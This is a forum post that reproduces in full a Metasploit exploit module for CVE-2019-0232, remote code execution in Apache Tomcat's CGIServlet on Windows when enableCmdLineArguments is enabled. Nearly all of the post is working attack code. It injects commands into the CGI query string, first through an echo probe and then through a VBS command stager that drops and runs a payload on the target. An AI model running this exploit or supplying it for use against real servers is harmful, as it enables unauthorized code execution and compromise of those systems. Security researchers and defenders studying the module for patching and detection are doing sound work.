Post a Reply
809 views

Apache Tomcat CGIServlet enableCmdLineArguments Remote Code Execution

  1. 9 months ago

    h86.png

    This Metasploit module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the enableCmdLineArguments setting is set to true, a remote user can abuse this to execute system commands, and gain remote code execution.

    MD5 | 0d433a42b85642288aa8f83ab3ac6eb8

    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info={})
        super(update_info(info,
          'Name'            => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability',
          'Description'     => %q{
            This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the
            enableCmdLineArguments setting is set to true, a remote user can abuse this to execute
            system commands, and gain remote code execution.
          },
          'License'         => MSF_LICENSE,
          'Author'          =>
            [
              'Yakov Shafranovich', # Original discovery
              'sinn3r'              # Metasploit module
            ],
          'Platform'        => 'win',
          'Arch'            => [ARCH_X86, ARCH_X64],
          'Targets'         =>
            [
              [ 'Apache Tomcat 9.0 or prior for Windows', { } ]
            ],
          'References'      =>
            [
              ['CVE', '2019-0232'],
              ['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'],
              ['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/']
            ],
          'Notes'           =>
            {
              'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
              'Reliability' => [ REPEATABLE_SESSION ],
              'Stability'   => [ CRASH_SAFE ]
            },
          'CmdStagerFlavor' => 'vbs',
          'DefaultOptions'  =>
            {
              'RPORT' => 8080
            },
          'Privileged'      => false,
          'DisclosureDate'  => 'Apr 10 2019', # Date of public advisory issued by the vendor
          'DefaultTarget'   => 0
          ))
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/'])
          ])
    
        register_advanced_options(
          [
            OptBool.new('ForceExploit', [false, 'Override check result', false])
          ])
    
        deregister_options('SRVHOST', 'SRVPORT', 'URIPATH')
      end
    
      def check
        sig = Rex::Text.rand_text_alpha(10)
        uri = normalize_uri(target_uri.path)
        uri << "?&echo+#{sig}"
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => uri
        })
    
        unless res
          vprint_error('No Response from server')
          return CheckCode::Unknown
        end
    
        if res.body.include?(sig)
          return CheckCode::Vulnerable
        end
    
        CheckCode::Safe
      end
    
      def execute_command(cmd, opts={})
        # Our command stager assumes we have access to environment variables.
        # We don't necessarily have that, so we have to modify cscript to a full path.
        cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe')
    
        uri = normalize_uri(target_uri.path)
        uri << "?&#{CGI.escape(cmd)}"
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => uri
        })
    
        unless res
          fail_with(Failure::Unreachable, 'No response from server')
        end
    
        unless res.code == 200
          fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
        end
      end
    
      # it seems we don't really have a way to retrieve the filenames from the VBS command stager,
      # so we need to rely on the user to cleanup the files.
      def on_new_session(cli)
        print_warning('Make sure to manually cleanup the exe generated by the exploit')
        super
      end
    
      def exploit
        print_status("Checking if #{rhost} is vulnerable")
        unless check == CheckCode::Vulnerable
          unless datastore['ForceExploit']
            fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
          end
    
          print_warning('Target does not appear to be vulnerable.')
        end
    
        print_status("#{rhost} seems vulnerable, what a good day.")
        execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000)
      end
    end
 

or Sign Up to reply!